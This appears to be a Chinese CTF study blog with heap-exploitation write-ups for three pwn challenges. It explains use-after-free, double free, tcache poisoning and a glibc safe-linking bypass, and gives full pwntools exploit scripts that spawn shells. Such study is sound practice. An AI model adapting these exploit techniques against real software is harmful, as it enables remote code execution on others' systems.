Heap Exploit [Updating~]

引言:

整理一下之前做过的堆题和考点,备忘一下~

[NISACTF 2022]UAF

菜单,支持创建编辑删除查看四个操作:

create函数里面为第一个堆块分配了8个字节的空间,前四个字节放giao字符串,后四个字节放echo函数。

之后的堆块,就正常的分配8个空字节了。

delete函数里面没有将指针清空,存在uaf漏洞。观察edit函数也没有检查,可以利用。

但我们发现,edit函数和del函数对堆块下标的检查并不一致,edit函数不允许我们去编辑第一个分配的堆块(下标为0) 。但delete函数允许我们去释放第一个堆块。

同时edit函数内没有做输入字符长度的限制,可以实现堆溢出。

本题解题思路如下:

  • 先申请第一个堆块,然后再将它释放掉。

  • 申请第二个堆块,因为create函数中是根据page数组中堆块地址是否为空去叠下标的,delete函数没有清空地址,所以这里面申请的堆块下标为1,地址就是第一个堆块的地址。

  • 绕过edit检查,利用第二个堆块修改第一个堆块,更改echo函数为NICO函数(后门函数),并在前四个字节填充sh\x00\x00

  • 调用show(1), 实现getshell

show函数中利用第一个堆块的后四字节作为函数地址,将堆块的地址作为参数传给该函数。我们将原本echo的输出函数换成了system函数,再将堆块的内容覆盖为sh, 既可以利用system("sh")来getshell了。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from struct import pack
from ctypes import *


context(os='linux', arch='amd64', log_level='debug')
p = remote("node4.anna.nssctf.cn", 28112)
elf = ELF("./pwn")


def add():
sla(b"\n:", str(1))


def edit(idx, content):
sla(b"\n:", str(2))
sla(b"Input page", str(idx))
sla(b"Input your strings", content)


def delete(idx):
sla(b"\n:", str(3))
sla("Input page", str(idx))


def show(idx):
sla(b"\n:", str(4))
sla(b"Input page", str(idx))


add()
delete(0)

add()
show(1)
edit(1, b"sh\x00\x00" + p32(elf.sym["NICO"]))
show(0)
# show(1)

inter()

[CISCN 2022 华东北]duck

这个题可以打IO, 可以打environ, 打IO的手法还不怎么熟练...先打environ试一试。

菜单堆题没差,提供创建删除编辑查看四个功能。

add函数里面直接给出来堆块的大小,并且最多只能创建20个堆块。

edit函数里面也相应地给出了最多只能编辑0x100个字节,堆溢出没戏。

漏洞点在del函数里面,经典的free堆块后没有清空,导致UAF漏洞。

show函数就是经典的show,没什么说的。

这个题虽然漏洞点很明显,但是由于是高版本libc(给的是libc.so.6Ubuntu 20.04以上了,跟我wsl默认的libc一样),相比之前有以下几点不同:

  • glibc2.34之后删除了库函数中的__malloc_hook, __free_hook等钩子函数,所以我们没办法通过覆写hookgetshell

  • glibc2.32之后引入了堆内存对齐检查。申请的堆块的地址一定要是8字节的整数倍。

  • glibc2.32之后在使用fastbintachebin申请堆块时,增加了fd指针的校验:

    由于之前版本的fd指针可以任意写导致不安全,glibc2.32之后,在使用fastbintcachebin两个堆块管理结构申请堆块时,增加了对fd指针的校验。

    glibc2.32tcache_get / tcache_put函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    static __always_inline void
    tcache_put (mchunkptr chunk, size_t tc_idx)
    {
    tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

    /* Mark this chunk as "in the tcache" so the test in _int_free will
    detect a double free. */
    e->key = tcache;

    e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
    tcache->entries[tc_idx] = e;
    ++(tcache->counts[tc_idx]);
    }

    /* Caller must ensure that we know tc_idx is valid and there's
    available chunks to remove. */
    static __always_inline void *
    tcache_get (size_t tc_idx)
    {
    tcache_entry *e = tcache->entries[tc_idx];
    if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
    tcache->entries[tc_idx] = REVEAL_PTR (e->next);
    --(tcache->counts[tc_idx]);
    e->key = NULL;
    return (void *) e;
    }

    可以看到,相比于glibc2.31, 函数在存取堆块的时候使用了两个宏保护指针:

    1
    2
    3
    #define PROTECT_PTR(pos, ptr) \
    ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
    #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

    tcache_entry->next中存放的chunk地址为与自身地址进行异或运算后所得到的值, 这就要求我们在利用 tcache_entry 进行任意地址写之前 需要我们提前泄漏出相应 chunk 的地址,即我们需要提前获得堆基址后才能进行任意地址写

由于我们在高版本libc下无法通过写hook来达到getshell,所以我们可以有两个方法,打IO或打environ

这里介绍打environ的方法,我们可以通过environ来泄露某个栈地址,然后算出它和程序返回地址的栈指针的偏移,进而来修改程序的返回地址,实现堆 + rop的打法。

首先,常规的tcachebin操作,先申请九个堆块,然后释放掉前八个,第九个堆块不要释放,防止发生已释放堆块和TOP chunk的合并。之后利用UAF漏洞通过第八个堆块泄露main_arana + 0x58,进而泄露libc

tachebin的一条链子最多装7个chunk,第八个chunk会被甩给unsorted_bin。而当unsorted_bin中只有一个chunk时,他的fdbk指针相同,均只指向main_arena + 058,也就是unsorted_bin环形链表的头的地址。

1
2
3
4
5
6
7
8
9
10
11
for i in range(8):
add()

add() # 9 | Top chunk

for i in range(8):
delete(i)

show(7)
libc_base = get_addr() - 0x1f2cc0
p.info(hex(libc_base))

泄露libc之后我们着手泄露heap_base。 在这里打个断点看一下堆的布局。

观察到其实我们释放的第0号堆块,他的fd指针实际上就是heap_base >> 12。 因为他是第0号堆块,他的old_fd是0,所以在堆指针异或加密之后,fd就是heap_base >> 12

泄露堆基地址,并得到key = heap_base >> 12

1
2
3
4
5
show(0)
p.recvuntil(b"\n")
heap_base = (u64(p.recv(5).ljust(8, b"\x00")) << 12)
p.info(hex(heap_base))
key = heap_base >> 12

现在我们就可以拿着keylibc去泄露environ啦~

先把后五个堆块从tcache链表里搞出来,然后拿着environ的地址和key把加密后的fd搞出来,修改第1号堆块的fd,再申请两个堆块,现在第15号堆块就是environshow一下顺利拿到stack_addr

通过动态调试算出来edit函数的返回地址和这个栈地址的偏移,之后我们在edit函数返回之后进入rop链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for i in range(5):
add() # 9 - 13

environ = libc_base + libc.sym["environ"]

pl = p64(key ^ environ) + p64(0)
edit(1, len(pl), pl)

add() # 14
add() # 15

show(15)
stack_addr = get_addr()
p.info(hex(stack_addr))
edit_ret_addr = stack_addr - 0x168

再释放两个堆块进入到tcache_bin,修改第10号堆块的fd指针为edit_ret_addr的地址(栈指针),再申请回来,现在第17号堆块就在栈上了,编辑栈上的数据,完成一个华丽的getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
delete(9)
delete(10)

payload = p64(key ^ edit_ret_addr) + p64(0)
edit(10, len(payload), payload)

add() # 16
add() # 17

pop_rdi = libc_base + libc.search(asm("pop rdi;ret;")).__next__()
# pop_rsi =
bin_sh = libc_base + libc.search(b"/bin/sh").__next__()
system = libc_base + libc.sym["system"]

payload = p64(0) * 3 + p64(pop_rdi) + p64(bin_sh) + p64(system)

edit(17, len(payload), payload)

inter()

这里pop链前面要加三个p64(0)是动调之后发现返回地址和pop链还差了24个字节,不知道为什么,之前没搞出来去网上看了下别人的题解,动调了一下才发现。。。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
from struct import pack
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')
p = process("./pwn")
libc = ELF("./libc.so.6")
# p = remote("node4.anna.nssctf.cn", 28668)


def add():
sla("Choice: ", str(1))


def delete(idx):
sla("Choice: ", str(2))
sla("Idx: ", str(idx))


def show(idx):
sla("Choice: " , str(3))
sla("Idx: ", str(idx))


def edit(idx, size, content):
sla("Choice: ", str(4))
sla("Idx: ", str(idx))
sla("Size: ", str(size))
sa("Content: ", content)


for i in range(8):
add()

add() # 9 | Top chunk

for i in range(8):
delete(i)

show(7)
libc_base = get_addr() - 0x1f2cc0
p.info(hex(libc_base))

gdb.attach(p)

show(0)
p.recvuntil(b"\n")
heap_base = (u64(p.recv(5).ljust(8, b"\x00")) << 12)
p.info(hex(heap_base))
key = heap_base >> 12

for i in range(5):
add() # 9 - 13

environ = libc_base + libc.sym["environ"]

pl = p64(key ^ environ) + p64(0)
edit(1, len(pl), pl)

add() # 14
add() # 15

show(15)
stack_addr = get_addr()
p.info(hex(stack_addr))
edit_ret_addr = stack_addr - 0x168

delete(9)
delete(10)

payload = p64(key ^ edit_ret_addr) + p64(0)
edit(10, len(payload), payload)

add() # 16
add() # 17

pop_rdi = libc_base + libc.search(asm("pop rdi;ret;")).__next__()
# pop_rsi =
bin_sh = libc_base + libc.search(b"/bin/sh").__next__()
system = libc_base + libc.sym["system"]

payload = p64(0) * 3 + p64(pop_rdi) + p64(bin_sh) + p64(system)

edit(17, len(payload), payload)

inter()

[CISCN 2021 初赛]lonelywolf

IDA查看程序,菜单堆题,提供增删改查四个功能。libc-2.27开启tcache_bin

add函数里面会传一个idx和一个size, 然后发现这个idx是假的,整个程序只能支持一个堆块。

在edit函数里面,有个off_by_null

free函数里面有一个UAF,在这个版本下我们可以利用UAF去实现Double Free

show函数就是一个正常的show。

本题的考点在于Double Free + tcache_pthread_struct利用。大体思路如下:

  • 首先利用Double free漏洞,重复free同一个tcache堆块,泄露tcache地址,进而泄露tcache_pthread_struct的地址。

tcache引入的Double free检查是检查该堆块的bk指针是不是key,如果是key就是触发Double free的报错。所以这里我们需要将该堆块的bk位归零。

1
2
3
4
5
6
7
8
9
10
add(0, 0x70)
# debug()
delete(0)
edit(0, p64(0) + p64(0))
delete(0)
add(0, 0x70)
show(0)

p.recvuntil(b"Content: ")
heap_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x260
  • 利用UAF漏洞,覆盖fd指针使其指向tcahch头,进而控制tcache_pthread_struct

tcache_pthread_struct大小是0x250(不包含0x10的头部)想下标35是0x250大小堆块的计数器,修改该堆块的计数器,再次释放tcache头,这个大堆块就会进入到unsorted_bin中。

1
2
3
4
5
6
edit(0, p64(heap_base + 0x10))

add(0, 0x70)
add(0, 0x70)

edit(0, b"\x00" * 35 + b"\x07")
  • 释放tcache头,让其进入到unsorted_bin中,进而泄露libc
1
2
3
4
5
6

delete(0)
show(0)

p.recvuntil(b"Content: ")
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x3ebca0
  • 修改tcache头,申请堆块控制__free_hook,改为system
1
2
3
4
5
6
7
8
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]

edit(0, b"\x01\x01".ljust(64, b"\x00") + p64(free_hook) + p64(heap_base + 0x500))

add(0, 0x10)

edit(0, p64(system))
  • 再次申请堆块,填充内容/bin/sh,释放堆块,getshell。

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from struct import pack
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')
p = process('./lonelywolf')
p = remote("node4.anna.nssctf.cn", 28207)
libc = ELF("./libc-2.27.so")

def add(idx, size):
sla("Your choice: ", "1")
sla("Index: ", str(idx))
sla("Size: ", str(size))


def edit(idx, content):
sla("Your choice: ", "2")
sla("Index: ", str(idx))
sla("Content: ", content)


def show(idx):
sla("Your choice: ", "3")
sla("Index: ", str(idx))


def delete(idx):
sla("Your choice: ", "4")
sla("Index: ", str(idx))


add(0, 0x70)
# debug()
delete(0)
edit(0, p64(0) + p64(0))
delete(0)
add(0, 0x70)
show(0)

p.recvuntil(b"Content: ")
heap_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x260
edit(0, p64(heap_base + 0x10))

add(0, 0x70)
add(0, 0x70)

edit(0, b"\x00" * 35 + b"\x07")

delete(0)
show(0)

p.recvuntil(b"Content: ")
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x3ebca0
p.info(hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]

edit(0, b"\x01\x01".ljust(64, b"\x00") + p64(free_hook) + p64(heap_base + 0x500))

add(0, 0x10)

edit(0, p64(system))

add(0, 0x20)
edit(0, b"/bin/sh\x00")
delete(0)

inter()